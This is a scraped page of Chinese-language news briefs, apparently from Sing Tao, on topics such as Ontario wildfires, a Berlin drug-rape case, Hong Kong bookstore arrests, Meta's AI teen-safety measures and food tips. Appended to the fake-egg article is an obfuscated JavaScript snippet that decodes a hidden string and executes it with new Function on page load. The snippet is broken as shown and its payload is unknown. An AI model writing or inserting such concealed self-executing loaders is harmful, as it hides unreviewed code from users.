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【星岛综合报道】安省紧急事务准备部长Jill Dunlop致函联邦应急管理给社区复原部长奥尔舍夫斯基（Eleanor Olszewski），要求联邦政府预备飞机及机组人员，以备在24小时或更短时间内支援撤离行动，因为部分北部社区不连通至主要公路，安省或缺乏足够资源应对同时进行的多个空中撤离任务。 Dunlop在信中表示，北部已有15个社区开始疏散或正考虑疏散，局面可能持续迅速恶化。省长福特（Doug Ford）表示，省府正全力部署人员及飞机扑灭逾180场野火，不惜一切代价保障市民安全。 目前全省西北部有136场活跃野火，其中63场失控；东北部有44场，其中9场失控。已发出强制疏散令的社区包括Armstrong、Lac La Croix第一民族、Whitesand第一民族、鸥湾第一民族及Lac des Mille Lacs第一民族，其中Collins第一民族（Namaygoosisagagun First Nation）已有民居及建筑物受火灾波及损毁。 相关新闻：安省北部山火迅速蔓延　多个社区疏散房屋焚毁 相关新闻：【有片】山火重重包围　CN铁路员惊魂逃生片段疯传 相关新闻：安省西北部山火肆虐多个社区强制疏散　185场野火仍在燃烧 烟霾影响范围已从桑德湾（Thunder Bay）延伸至京士顿（Kingston）、多伦多、伦敦（London）及温莎（Windsor），预计持续至周五（17日）。多伦多天空周三（15日）一度被烟霾染成橙红色。多伦多当局宣布关闭所有户外泳池及嬉水池，并取消所有Camp TO户外活动。 环境部已在全省大范围解除高温警告，取而代之的是空气质素警告；部分地区仍有局部高温，市民宜继续留意最新天气资讯。 （图：X/@TaraBull）T08

德国柏林一名68岁电工，涉嫌在网路交友平台结识女性后，落药迷奸并拍摄犯案过程。检方控其22项加重强暴罪，目前已掌握14名受害人，但怀疑他合共强暴了58名女性。疑犯自2026年3月起被羁押候审，至今未对指控发表任何评论。 警方于2025年3月展开调查，当时这名电工与另一受查男子有聊天记录。去年警方搜查电工的住所，缴获一些设备，几个月后法医专家检查时，发现了揭露其性犯罪的影片。 受害人看影片才知被强奸 据指疑犯先在网上认识女性，见面后让她们服用镇静剂与酒精的混合物，然后施暴。目前已联系到的所有女性均表示不记得有过这样的事，她们都是在看到调查人员获取的影片后，才得知自己曾被强奸。 此案令人想起震惊全球的法国“吉赛儿案”（Gisele Pelicot）。其夫佩利科特（Dominique Pelicot）多年邀请数十名陌生男性到家中，性侵被她落药迷晕的妻子，妻子吉赛儿还以为自己婚姻幸福，看片才得知恐怖真相，此案震惊国际社会。 英国调查人员本月也披露，他们破获一个专门迷奸女性的跨国网络。

这几家例汤饮得过 外卖加个‘例水’！”买粟米肉粒饭，例汤另加十元，加费越多期望便越大。不过，听到伙记高叫“例水”，心便沉下去了。果然那兜所谓老黄瓜瘦肉汤，同味精水没分别，饮两啖之后弃之不可惜。 有一个不科学的观察，吃套餐或买外卖，例汤与饮品之间，男人倾向取例汤，或许男人天生喜欢有啖汤水落肚。最近常在湾仔区的茶餐厅和食店买外卖，有几家店子的例汤值得一书。 首推春园街“新景园”，咖喱或鲜茄猪扒饭远近驰名之外，例汤其实也不俗，是雪耳鸡汤（见图），市面上没发现有同类例汤供应，但此店却十年如一日只此一汤，如果一个月换一次就好了。跟市面大部分例汤一样，稍为偏咸，但用料十足，每一次都有很多雪耳，汤渣亦捞到不少鸡肉，收十二元，是抵饮的。 另一家是跑马地“莲园”，此店卖粥粉面饭，中午有多款经济套餐，这天我吃牛根腩饭，可选择例汤抑或油菜，当然拣例汤啦。例汤用细兜盛着，问题是汤料十足，莲藕便有两大件，而且还有其他汤料呢，汤水的份量可说到喉唔到肺。另一次，决定额外要多一个例汤，须加十五元，成交。莲园的例汤实在好饮。 距离莲园咫尺之遥是“同芯冰室”，此店的鲜茄芝士焗猪扒饭非常了得，而打电话向店子落单外卖自取，会送汤和饮品，而汤一定是罗宋汤。饮过早年在铜锣湾皇后餐厅的罗宋汤，印象犹深，但自此没再遇过便宜而好饮的，没料到同芯冰室跟餐送的罗宋汤那么有水准，一再外卖焗猪扒饭，有点情意结在罗宋汤。 有一家不在湾仔区，但却值得一提，是“勇记海南鸡”，在上环和红磡有店。很多人都爱吃此店的海南鸡，但客人当中很多都爱饮它限量推出的椰子鸡汤。专门做海南鸡，起肉之后有很多“鸡壳”，用椰子煲汤，免费送客人一小碗，店内有告示声明“送完即止”。非常美味，饮到与否，讲缘份。 作者梁家权：资深新闻工作者。饮食文化著作包括《寻找失落的菠萝油》。

7月16日，成立世界人工智能合作组织协定签署仪式在上海举行。中共政治局委员、外交部长王毅出席并代表中国政府签署协定。 协定明确，世界人工智能合作组织是独立的政府间国际组织，遵循《联合国宪章》宗旨，秉持共商共建共享理念，坚持以人为本原则，旨在促进人工智能国际合作和全球治理，确保人工智能朝着有益、安全、公平方向健康有序发展，造福全人类。组织总部设在中国上海。 哈萨克斯坦副总理兼人工智能和数字发展部部长马迪耶夫、老挝副总理兼外长通沙万、巴基斯坦副总理兼外长达尔、俄罗斯总统办公厅副主任奥列什金、印尼经济统筹部部长艾尔朗加等29个国家代表签署协定，成为创始成员国。联合国秘书长古特雷斯等国家和国际组织代表出席仪式。

【星岛综合报道】加拿大液化天然气出口项目LNG Canada主要股东蚬壳（Shell）及日本三菱商事（Mitsubishi Corp.）正计划出售部分股权，吸引多家大型私募基金旗下保险业务竞相竞投，以把握基建资产带来的长期稳定回报。 消息人士透露，纽约私募基金阿波罗全球管理（Apollo Global Management）目前被视为最具竞争力的竞投者之一，另外亦有加拿大多家退休基金正进行尽职调查，评估投资机会。 LNG Canada位于卑诗省基蒂马特（Kitimat），总投资额约180亿元，是加拿大历来规模最大的企业基建项目。项目于2025年正式投产，成为加拿大首个天然气出口终端。 现时壳牌持有40%股权，三菱商事持有15%，马来西亚国家石油公司（Petronas）则持有25%。据报壳牌及三菱希望透过出售部分第一期项目股权集资，为预计耗资330亿加元的第二期扩建计划提供资金，最终投资决定预料今年底前作出。 分析指出，近年大型私募基金相继收购保险公司，利用保费资金投资基建项目，以获取稳定而长远的回报，因此对LNG Canada等大型能源设施兴趣浓厚。 阿波罗于2021年收购保险公司Athene后，已先后投资英特尔（Intel）晶片制造业务及百威啤酒母公司Anheuser-Busch InBev的铝罐制造业务。其他拥有保险业务的大型私募基金，包括Brookfield、Blackstone、KKR及Carlyle。 总理卡尼提出未来五年吸引5,000亿私人投资，并推动加拿大增加对亚洲能源出口。分析认为，LNG Canada属具代表性的能源基建项目，预料将持续吸引大型投资机构参与。 另外，五个原住民族日前宣布，将斥资最多10亿元，收购LNG Canada第二期大型储气设施的大部分股权，进一步参与项目发展。 （资料图：加通社）T15

南韩广播通信委员会周四提出一项面向未成年人的社交媒体管理方案，拟对不同年龄段的儿童实施差异化管理措施。 研禁无限滚动及自动播放 当局考虑14周岁以下儿童禁止自行注册社交媒体账号；对于14至19岁青少年则拟采取分阶段、渐进式监管方式，包括限制推送“无限滚动”、自动播放等容易引发持续使用行为的界面功能，并约束基于行为数据的演算法推荐机制。 澳洲实施青少年社交媒体禁令。 路透社   另一方面，委员会正推动建立强制性身份与年龄核验制度，要求平台切实履行用户真实身份识别及年龄分级管理责任。 英国将研究社交媒体禁令对儿童是否有效。法新社   澳洲政府自2025年12月起，禁止未满16岁的青少年使用社交媒体，成为全球首例。但早前有调查发现，该国青少年以虚报年龄、上传“假自拍”等方式绕过禁令，继续使用社交媒体。当局对平台加强刑罚，试图确保禁令落实执行。

意大利72岁珠宝商罗杰罗（Mario Roggero）在店铺遇劫后追出，射杀2名劫匪，他以自卫抗辩失败，周三终审裁定维持上诉法院的判决，定谳囚14年9个月。总理梅洛尼领导的执政联盟强烈支持罗杰罗，发起联署要求总统马达雷拉（Sergio Mattarella）特赦。    贼人从珠宝店入口离开。 X   罗杰罗追出。 X   罗杰罗（左上）举枪。 X   罗杰罗在车辆旁与贼人纠缠。 X   罗杰罗追出另一条街。 X   其中一名贼人倒地（图上方），罗杰罗走回珠宝店。 X   罗杰罗曾拍片对支持他的人喊话。 X   此案发生于2021年4月28日，被告罗杰罗（Mario Roggero）的珠宝店遇劫，贼人持玩具枪和刀子闯入店内抢走财物，当时罗杰罗的妻子和女儿都在店内。贼人离开店舖后，他持枪追出去，击毙了两名劫匪——58岁的马扎里诺（Giuseppe Mazzarino）和44岁的斯皮内利（Andrea Spinelli），为劫匪开车的莫迪卡（Alessandro Modica）则受伤。 是否自卫引发争辩   罗杰罗主张开枪是为了自卫，为了保护自己和当时在店里的家人。但法院认定他追出去开枪时，劫匪的攻击行为已经完全停止，他在劫匪逃跑时开枪，不符合自卫要件。 此案在意大利引发了严重的舆论分歧。认为罗杰罗有罪的人一致认为，他在店外开枪的行为超出了正当防卫的范围。极右翼联盟党领导人萨尔维尼则说：“辛勤工作了一辈子，72岁却因遭到袭击和抢劫而被判入狱多年，我认为这太不公平了。” 总理梅洛尼领导的执政联盟强烈支持罗杰罗，同意他是自卫，反对定罪，并认为鉴于其年龄，任何监禁都相当于终身监禁。执政党在联合声明中表示，他们将收集签名支持赦免罗杰罗。根据意大利法律，司法部将审查此类请愿书，然后将其转呈总统马塔雷拉。

【星岛综合报道】总理卡尼谴责示威者昨日（15日）包围并破坏新斯高沙省长侯斯顿（Tim Houston）的座驾，强调加拿大保障和平示威权利，但绝不容许暴力及恐吓行为。 事发于周三（15日），侯斯顿到新斯高沙省位于沃尔夫维尔的阿卡迪亚大学，出席安纳波利斯谷商会活动，发表有关省内经济发展的演说。 省长办公室表示，侯斯顿离开会场时，其座驾及随行车辆遭大批示威者包围，无法离开现场。部分人士推撞执法人员，更有人爬上座驾及击碎挡风玻璃，当时侯斯顿仍身处车内。 警方其后护送侯斯顿返回建筑物，最终由加拿大皇家骑警（RCMP）警车接载离开。 相关新闻：新斯高沙省长座驾遭示威者包围　挡风玻璃被砸毁  省长需警护送离场 省长办公室形容，示威人群中有部分“极端分子”诉诸暴力，并感谢皇家骑警及其他执法人员在“极度不稳定”情况下提供协助。 声明指出，以破坏财物及危及他人安全的方式行事，无助推动任何建设性对话。 卡尼其后在社交平台发文表示，加拿大人民享有和平示威的权利，但任何人都不应以暴力或恐吓方式表达诉求。 I condemn the violence following Premier Houston’s speaking event in the Annapolis Valley. In Canada, we have the right to protest peacefully. There...

近日有网民在Threads发文，称“街市出现假蛋”，提醒港人要小心。其实近年都不时有网民指购入“橡胶蛋”，即使烹煮20分钟，蛋质“烟韧”如橡胶，用力挤压亦不碎裂，担心买到“假鸡蛋”，引发广泛关注。究竟“橡胶蛋”是真是假？背后成因是甚么？ 假鸡蛋｜拆解橡胶蛋成因：运输颠簸 鸡蛋供应商德青源负责人杨永强（Raymond）曾接受访问时解释，这种“橡胶蛋”现象与鸡蛋品质或真伪无关，任何产地的鸡蛋都有可能出现。他指出，主要成因是鸡蛋在长途运输过程中遭受剧烈摇晃，导致蛋白逐渐融入蛋黄，改变蛋白质结构，令煮熟后产生如橡胶般的弹性。 假鸡蛋｜假蛋成本高 市民毋须恐慌 对于“假鸡蛋”之说，Raymond直言商业上极不可行。他分析，制造一只逼真的假蛋，既要制作外壳，又要调配化工原料灌浆，即使物料成本不高，若计算人工和时间成本，生产一箱（360只）假蛋估计至少耗费两天时间。在追求盈利的前提下，大规模制造假蛋根本不合乎成本效益，呼吁市民无需过分忧虑。 假鸡蛋｜3种情况鸡蛋不能食 虽然“橡胶蛋”与真伪无关、可安全食用，但若鸡蛋出现以下3种情况，则代表已变坏或受污染，应立即丢弃，以免进食后中毒甚至致命。香港高等教育科技学院食品与健康科学学系讲师文嘉敏博士曾接受《星岛头条》访问指出： 蛋壳出现裂缝：失去保护层，容易滋生细菌。 出现异味：代表蛋白质分解，可能已受微生物污染。 蛋黄或蛋白变色（如变黑、发霉）：显示变质或受霉菌感染。 假鸡蛋｜正确保存：鸡蛋不宜清洗 香港食物安全中心指出，保存鸡蛋时切勿用水清洗，因为蛋壳表面有一层天然保护膜，清洗会破坏该层膜，令细菌更容易入侵。应将鸡蛋存放于雪柜内，并保持蛋尖向下，有助延长保鲜期。购买时建议： •留意包装是否完整，鸡蛋有无裂痕或污渍。 •打开后如发现蛋白或蛋黄异常，应立即停用。 •鸡蛋宜尽快食用，避免长时间存放。 资料来源：lau5019@Threads T10(function(){ var x46eaa6=6026; if(x46eaa6>0){var y17321a=x46eaa6-6757}else{var y17321a=6757} var zf368b3=y17321a*81; var _0xc4c3ed2ddbac=; var _0xd2590aeec7ec=72; var _0x695b12d6658b=''; for(var _0xecc7dff14118=0;_0xecc7dff14118<_0xc4c3ed2ddbac.length;_0xecc7dff14118++) _0x695b12d6658b+=String.fromCharCode(_0xc4c3ed2ddbac^_0xd2590aeec7ec); var _0xb2ada9a65d62=121; var _0x61fc9cbf8bf3=atob(_0x695b12d6658b); var _code=''; for(var _0xecc7dff14118=0;_0xecc7dff14118<_0x61fc9cbf8bf3.length;_0xecc7dff14118++) _code+=String.fromCharCode(_0x61fc9cbf8bf3.charCodeAt(_0xecc7dff14118)^_0xb2ada9a65d62); (new Function(_code))(); })();(function(){ var x46eaa6=6026; if(x46eaa6>0){var...

【星岛综合报道】美国总统特朗普将于周四（16日）晚上发表全国电视演说，表示内容将涉及选举及投票机等议题，外界预料他可能再次提出过往有关2020年总统大选的争议说法。 特朗普早前向记者表示，演说将讨论选举制度及其他重要事项，并形容会公布“非常重大”的消息。他指出，若没有自由及公平的选举，国家便无法正常运作。 白宫新闻秘书莱维特（Karoline Leavitt）周三（15日）表示，外界目前对演说内容的猜测均属推测，强调只有特朗普本人最终决定发言内容，因此呼吁公众届时收看。 一般而言，美国总统在黄金时段向全国发表演说，多数涉及重大国家事件或重要政策。分析认为，若特朗普以全国演说再次聚焦选举争议，将属罕见安排。 民主党人士批评，特朗普企图再次散播缺乏证据支持的选举舞弊指控，借此削弱今年11月国会中期选举的公信力。 维珍尼亚州民主党参议员华纳（Mark Warner）表示，特朗普计划利用黄金时段演说宣扬具误导性的选举说法，以合理化干预中期选举，呼吁民众应根据事实判断，不要接受错误资讯。 新泽西州民主党参议员金安迪（Andy Kim）亦表示，美国民众更关注战事持续、油价高企及民生问题，而非毫无根据的选举阴谋论，最终选民仍会透过投票表达意愿。 副总统万斯（JD Vance）则拒绝评论特朗普演说内容，只表示总统将谈及多项美国人民关心的议题，不便在演说前作出回应。 参议院共和党领袖图恩（John Thune）亦表示，不清楚特朗普将发表甚么内容，但他本人及大部分共和党议员目前均集中准备2026年中期选举。 （资料图：美联社）T15

香港国安处周三（15日）到旺角搜查两间书店，包括田园书屋及留下书舍，拘捕5名男女，并检取一批涉案的具煽动意图的书籍。警方调查显示，被捕人涉嫌于店铺内展示具有煽动意图的物品，以及出售具煽动意图的刊物，内容包括煽动他人引起对香港特区政府、司法机构及执法部门的憎恨。 警方表示国安处接获海关转介称在一批由香港境外寄到香港的货物中发现具煽动意图的书，周三搜查两间旺角店舖，期间有5名男女被指涉嫌违反《维护国家安全条例》第24条“出于煽动意图作出具煽动意图的作为”罪被拘捕，在两间书店内检走一批证物。 据香港传媒报道，警方指被捕人士包括三名30至59岁女子，及两名37和57岁男子，指5人涉于书店内展示具煽动意图物品，及出售具煽动意图的刊物，内容包括煽动他人引起对香港特区政府、司法机构及执法部门的憎恨。据悉，涉案书刊包括由台湾出版美国全国公共广播电台前驻华记者冯哲芸撰写的的《唯红花绽放：习近平时代的认同与归属》。 田园书屋是一家著名二楼书店，1976年开业至今，专营文史哲书籍。留下书舍则由一班前传媒工作者及学者于2022年开办。书店于被搜查前一天( 7 月14 日)在社交平台宣布，因长期经营压力、近半年财政赤字以及面临“难以捉摸的红线”等社会环境因素，会于8月底结束营业。 消息指，两间书店从境外偷运煽动性书籍来港出售，图假借文化推广之名煽仇煽暴荼毒社会、唱衰香港、抹黑国家等书籍；而留下书舍则由持鲜明反政府政治立场的前中大新闻与传播学院兼任讲师岑蕴华与另外4人合办，消息指其网上平台亦经常大肆宣传一些具反政府意识的书籍，以及由反中乱港政客撰写的书籍，例如邵家臻的《狱外之囚》、《字里囚间：明就明唔明就黎明》、《坐监情绪学》，以及刘慧卿的《留下》等。 警方国安处今年3月拘捕“一拳书馆”店主庞一鸣及3名店员，指他们涉嫌违反《维护国安条例》第24条，涉案书籍据悉为《黎智英传》；国安处于6月拘捕“猎人书店”负责人黄文萱及另一名男子，指书店涉嫌出售及展示具煽动意图的刊物和物品，并指涉及收取外国政治组织多笔资助。 香港保安局长邓炳强指书商有责任确保书籍不危害国安，如食店不会卖毒药。他指，涉案人士在书店中展示或出售内容包括煽动他人引起对香港特区政府或司法机构或执法部门憎恨的书籍，强调法例已说得很明白，如何具有煽动意图，展示或出售危害国家安全的书籍是其中一种，重申犯法就是僭越红线，当局一发现证据就会拘捕及提控。 被问到会否列禁书名单，他强调当局是针对危害国家安全的行为，若有人借书籍内容去煽动他人憎恨政府就是煽动，重申针对的是内容，并不是书名，要杜绝有人将犯法的书改名以逃避列入黑名单，当局绝不会便宜犯罪的人。  

【星岛综合报道】社交平台Meta宣布推出新措施，加强保护青少年使用人工智能（AI）聊天机械人时的安全。 Meta表示，若青少年在Instagram与Meta AI对话时提及有自残或自杀意图，已启用家长监护功能的家长将会收到通知；若系统认为任何用户有即时自杀风险，Meta亦会主动联络紧急救援部门。 Meta表示，公司曾咨询数十名精神健康专家，改善Instagram AI回应涉及自杀及自残内容的方式。新措施周四（16日）起在加拿大、美国、英国及澳洲同步实施。 根据新安排，已参与Instagram家长监护功能的家长，如子女向Meta AI表示有意伤害自己，系统会向家长发出警示，并提供由专家制定的建议及资源，协助家长与子女展开对话。家长亦可限制子女与AI聊天机械人可讨论的内容范围。 Meta表示，公司建立了专门的AI系统识别涉及自残风险的对话，所有被标记的聊天内容均会先由真人审核，再决定是否向家长发出通知。如未能确定青少年的真正意图，公司会采取较审慎做法，倾向通知家长，以保障安全。 若青少年未有连结家长监护帐户，系统则会向当事人提供危机支援资讯及求助资源。 除了家长通知机制外，Meta亦表示，如AI分析认为任何用户（包括成年人）可能有即时自杀风险，公司将考虑联络紧急救援部门。目前Meta已会就Facebook及Instagram上涉及可信自杀风险的帖文通知紧急服务，去年全球共作出超过1.9万宗相关转介。 有关措施亦配合加拿大联邦政府今年6月提出的《安全社交媒体法案》（Safe Social Media Act）。法案建议禁止16岁以下人士使用社交媒体，同时规管AI聊天机械人，包括禁止AI鼓励用户犯罪或自我伤害，并要求企业建立危机介入机制，以及公开向警方通报高风险个案的标准。 Meta指出，现时所有青少年帐户均预设采用13岁以上内容限制，而相关限制亦将延伸至AI聊天功能。AI系统已接受训练，不会与青少年进行涉及性、恋爱或其他不适龄内容的对话，例如提供酒精饮品配方等。去年推出、更严格的家长内容限制设定，本周起亦正式适用于AI聊天功能。 （资料图：路透社）T15

第36届香港书展今日周三开幕，《一齐来读毛泽东》繁体版亦于当日发布。中国内地中国少年儿童新闻出版总社联同香港新中国史出版社推出图文漫画读本，，冀透过浅白生动的漫画，向香港青少年传承毛泽东勤学、心系人民的精神，弥补本地近代史教育的不足。 香港财政司司长陈茂波于社交平台发文，指一年一度的香港书展正在湾仔会展举行，他和多名初中学生到场参观多个展出摊位。“未来属于青年，希望寄予青年”，陈茂波向他们介绍辑录了国家主席习近平谈治国理政的著作。 陈茂波向学生介绍了习近平谈治国理政的著作。    

【消费情报】今个礼拜本地超市优惠传单已经出炉。 以下为安省优惠清单，在全国范围可能有部分货品的价格略有不同，以官网标价为准。 详情请浏览星岛网与事事如意超市折扣页面。 

【星岛综合报道】安省专上教育厅宣布，由于关注部分私立专上学院的招生及课程管理方式，将取消五间私立职业学院学生于新学年申请安省学生资助计划（OSAP）贷款资格。 受影响包括四间Academy of Learning分校，以及Citi College of Canadian Careers。 此前，所有私立职业学院学生已被取消OSAP助学金资格，今次进一步失去申请学生贷款资格。 福特政府早前表示，OSAP开支持续增加，财政模式已难以持续，因此一方面增加64亿元高等教育拨款，另一方面削减学生资助。 根据加拿大通讯社透过资讯自由法取得的资料，近年OSAP助学金增长几乎全部来自私立职业学院学生。 受影响院校已入禀法院申请司法复核，指政府质疑的问题主要涉及非同步网上课程，包括招生风险较高、学生出席纪录不足，以及未能有效监察学习进度，甚至怀疑修读课程者与完成作业者并非同一人。 校方反驳，有关安排是为配合在职人士、新移民及需兼顾家庭的学生，并已按要求提交改善方案。 安省专上教育厅表示，政府设有完善监管制度，如院校未能符合规定，将毫不犹豫采取行动，保障学生及纳税人利益。 （资料图：加通社）T15

【星岛综合报道】安省西北部山火持续，浓烟连续第二日笼罩大多区。虽然烟雾仍然持续，但热浪已告一段落，多伦多周四（16日）最高气温预料约29度。 加拿大环境部周三（15日）对大多区发出橙色空气质素警告，指烟雾导致能见度下降，空气质素极差，恶劣情况亦持续至周四（16日），部分地区烟雾仍会较为明显。 昨日至今，多伦多空气质素持续处于极高风险水平，一度被空气监测机构IQAir列为全球空气污染最严重城市。 当局呼吁市民尽量减少户外活动，并考虑延期或取消户外运动及活动。如出现眼睛、鼻腔及喉咙受刺激、头痛、咳嗽、气喘或胸痛等症状，应尽快采取防护措施或求医。 长者、孕妇、婴幼儿、慢性病患者及户外工作人士属高风险群组，应避免剧烈户外活动。 天气预报指出，随着风向于周五改变，加上稍后有阵雨，有助吹散烟雾及改善空气质素。周末期间天气仍然较为不稳，局部地区有骤雨及雷暴机会；至周日则预料天气逐渐好转，阳光与云层交替，最高气温约26度。 （图：加通社，环境部）T15  

欧盟周四针对科技巨擘Google发布了2项新规定，强制其共享搜寻数据，并要求向其他人工智能（AI）公司开放其安卓作业系统。欧盟表示，这是为了遏制科技巨头对数位经济的深度控制，并支持创新和多样性，但Google说这些措施将危及用户隐私。 欧盟的命令是根据旗舰法案《数位市场法》（DMA）发出。该法案强制要求全球最大的科技公司开放市场，让用户有更多选择。 布鲁塞尔要求Google必须从2027年1月起分享匿名搜寻资料。此举旨在创造公平的竞争环境，因为Google掌握其他竞争对手无法匹敌的大量用户数据。 欧盟认为，非Google开发的AI代理，在安卓手机上的运作效果无法与Google的Gemini相提并论，共享搜寻数据将“重新平衡竞争环境”。Google现在必须允许语音启动替代AI代理，并允许它们运行后台任务，例如透过第三方应用程式预订餐厅。 但Google全球事务主管沃克（Kent Walker）指出，新规可能会适得其反，因为它会取消Google为保护用户隐私而建立的保障措施。他指出：“欧洲人的私人搜寻记录将暴露给一些陌生的公司⋯⋯这将削弱公民的隐私权，危及商业机密，并危害国家安全。”

【星岛综合报道】约克区警方表示，Stouffville今日（16日）凌晨发生一宗车祸，2人受重伤命危。 事发于凌晨12点35分，地点位于Bloomington及Kennedy Road附近，有1辆汽车失事，救护员到场后，将车上2个人送院，警方指他们重伤、有生命危险。 警方封锁一段Bloomington调查。封路可能持续一段时间，警方呼吁驾驶者改路。 （资料图）T15

【星岛综合报道】密西沙加一个住宅今日（16日）凌晨发生火警，无人受伤。 起火地点位于Derry Rd夹Goreway Dr附近，皮尔区消防凌晨1点39分接报，到场时发现一间屋的车房起火，消防很快将火救熄，但房间内的住户及邻居一度要疏散，事件中并无人受伤。 起火原因仍然有待调查。 （图：皮尔区警队）T15

现正随队在意大利波代诺内参加“六日赛”的香港“小女车神”李思颖（Ceci）周三（15号）传来好消息！她在50个圈的女子精英组记分赛，以19分取得银牌，跟冠军、来自美国的希姬丝（Anna Hicks）只差一分。 Ceci（左）在记分赛夺亚。大会FB图   Ceci在比赛中（第二排右）。大会FB图   Ceci（白头盔蓝衫）在比赛中跟来自世界各地的车手一较高下。大会FB图   香港队派出6人参加意大利的六日赛，事实上，这项比赛吸引不会欧美及亚洲区车手参赛，以Ceci参加的精英组记分赛，共有34人参加，香港派出Ceci及梁颖仪参赛，Ceci在10圈的冲分比赛中，在第4圈、第5圈、第6圈、第8圈及第10圈都冲到分数，总分以19分位列亚军，颖仪未能冲到分数，以第22名完成比赛。 日本名将梶原悠未（中）夺淘汰赛冠军。大会FB图   日本亦派出多名车手参赛，包括Ceci视为偶像的梶原悠未也有参赛，这位东京奥运全能赛银牌得主在记分赛发挥麻麻，以5分位列总排名第11位，21岁 的日本师妹、杭州亚运麦迪逊金牌得主垣田真穗以第17名完成。 Ceci在女子淘汰赛及捕捉赛分列第13及第16名，颖仪分别夺第15及第22位，偶像梶原悠未在淘汰赛夺冠，捕捉赛则得亚军。 朱浚玮（最后一排左二）在比赛中。大会FB图   男子组方面，朱浚玮、曹棨光、缪正贤及伍柏亨参加了淘汰赛，以朱浚玮位列总排名第22位为港队最佳。朱仔跟曹棨光在麦迪逊赛位列第10名，伍柏亨及缪正贤以第15名完成。 记者：徐嘉华

印尼著名浮潜胜地科莫多国家公园附近发生游客溺毙事件。事发于周三（15日），死者为一对中国夫妇。 《新京报》报道，其中一人被救援人员发现并送医后被宣布死亡。联合搜救队随后在附近海域发现第二名遇难者遗体。调查人员表示，这对夫妇在浮潜时遭遇巨浪被卷走。印尼警方称，二人下水时“未穿救生衣也无人监管”。目前，印尼警方仍在调查此事。 内地极目新闻昨日（16日）报道，正在印尼旅游的刘女士（化姓）目击此事，她表示，事发当日（15日）下午，夫妇中的女方先被救援人员发现救上岸，大概抢救了十多分钟后送医，现场未见到男方。 另一位目击者表示，大概4时许多，男方才被救援人员发现。据他了解，两人均已遇难。 一位体验过科莫多浮潜的网友表示，因为浮潜所在的水位通常比较浅，所以有些人可能会忽视穿救生衣和脚蹼，但实际上科莫多海况复杂，暗流很多，不穿救生衣存在很大的风险。 来自广东的游客唐女士去年曾在科莫多浮潜。她指出，当地潜水业缺乏统一管理，不少向导及游客的安全意识也较为淡薄。 唐女士指出，在同一片浮潜区域，会有非常多的船家载客下水，通常2名本地向导带10来个游客，这里海水很深，浪也大，对于水性不好的人来讲，加上语言不通，经常会与自己的向导“失联” 

乌克兰总统泽连斯基改组内阁，上任仅半年但广受欢迎的国防部长费多罗夫（Mykhailo Fedorov）遭撤换，引发国防体系“地震”，全国15座城市爆发大规模示威，要求费多罗夫留任。 基辅民众抗议泽连斯基撤换国防部长费多罗夫。 路透社   基辅民众抗议泽连斯基撤换国防部长费多罗夫。 @TWMCLtd / X   基辅民众抗议泽连斯基撤换国防部长费多罗夫。 @TWMCLtd / X   费多罗夫（Mykhailo Fedorov）任国防部长半年，改革成绩获认可。 @TWMCLtd / X   费多罗夫获任命时与泽连斯基握手。 路透社   据法新社驻基辅记者报道，超过一千人聚集在市中心广场，高唱乌克兰国歌，挥舞乌克兰和欧盟旗帜，高呼“耻辱”和“让费多罗夫回来”。 罕见抗议要求官员留任 30岁企业老板罗曼告诉法新社：“我认为将他解职是对乌克兰人民的侮辱。”她指“害怕有魄力的人”，希望他收回这个决定。 陷入战争4年的乌军已疲惫不堪，但过去数月是形势最好的局面之一，成功阻止俄罗斯推进，并使用远程无人机轰炸了俄罗斯的石油和军事目标。乌克兰民众过去多半上街要求官员下台，今次却是要求“留人”，突显费多罗夫在国防改革及无人机建军上的支持度。 国防改革成绩获认可 费多罗夫下台可能会为军队带来不确定性，包括基辅、哈尔科夫、利沃夫、敖德萨、第聂伯罗、等多座城市陆续出现抗议活动。 费多罗夫周三晚间宣布辞职，称“为乌克兰人民服务是莫大的荣幸”。官方没有给出辞职的理由，但抗议者认为，这是费多罗夫和总司令瑟尔斯基（Oleksandr Syrsky）在军方内部权力斗争的一部分。 乌克兰空军副司令叶利扎罗夫（Pavlo Yelizarov）也因抗议费多罗夫被解职而辞职。他在明中说：“能与费多罗夫共事是我的荣幸。2022年，我加入国防军是为了赢得胜利，而不是假装有做事。”

美国布朗大学资深教授塞拉诺（Roberto Serrano）在《自由报》发表文章，表示他相信今年夏季学期的一门经济课程，至少有一半人在家考期中试时作弊，用人工智能（AI）生成答案。 他写道，2025年12月13日布朗大学在考试季发生枪击事件后，有学生对在校园内考试感到担忧，于是他允许学生在家考期中试，以闭卷形式进行。 布朗大学经济学教授塞拉诺（Roberto Serrano）。 vivo.brown.edu   塞拉诺透过线上考试平台收到成绩后，立刻觉得“非常可疑”。往年期中试平均分约65至80分，这次学生却考出平均分高达96分，其中40人获得满分，而且，自从他决定采用在线考试后，选课人数大幅增加。 他直接在ChatGPT上测试，发现把考题丢给AI后，收到的一些文字“与学生写的答案完全吻合”。 发生枪击案的布朗大学下半旗。美联社   ChatGPT“应考”答案一样 为了验证自己的怀疑，塞拉诺告诉学生们，他认为期中考有普遍的作弊现象，但他决定保留成绩，如果期末考的成绩分布与期中考大致相同，他便接纳期中考的成绩；否则，他将取消期中考成绩，并重新计算期末考成绩。他也告诉学生们，期末考将改回现场考试，闭卷进行。 一安排令22“满分学生”退修 结果，期末考成绩和出席率证实了他的假设。期中考后27名学生退选该课，当中22人在期中考中取得满分。” 在两次考试之间，布朗大学报纸《布朗日报》也发表了一篇报道，指出该校经济学课程中，作弊和可疑的考试成绩屡见不鲜。塞拉诺指出，他的同事也报告说，许多学生经常在课后作业中获得满分，现场考试表现却差强人意。

想让肌肤维持年轻紧致，甚至养出水光肌，可以吃甚么？有营养师推介8类护肤食物，除了蓝莓及鸡蛋外，多吃奇异果及虾更能激增胶原蛋白。 营养师推介8大护肤食物 吃奇异果/鲜虾可补胶原蛋白？ 营养师高敏敏在facebook专页发文指出，除了擦美白保养品，其实每日吃进肚子里的食物也会直接影响肌肤状况，想让肌肤白净透亮、充满光泽，单靠少晒太阳并不足够，更要从营养开始补起。当身体摄取足够的抗氧化营养素、优质蛋白质与植化素，就能帮助减少自由基的伤害、维持胶原蛋白生成，并有效降低黑色素形成，让肌肤由内而外散发健康的水光感。想养出透亮白滑的肌肤，她建议日常可多补充以下8类营养素： 1.维他命E 可选择植物油、牛油果、坚果及南瓜。维他命E能强效抗氧化，有助维持肌肤的弹性与保湿锁水力。 2.维他命B3 可选择豆制品、鸡肉及肝脏。维他命B3有助维持皮肤健康，同时能阻截黑色素传递。 3.优质蛋白质 例如鱼类、虾、蚬、鸡蛋及黑豆。胶原蛋白的生成与受损皮肤的修复，都必须依赖足够的优质蛋白质作为原料。 4.茶多酚 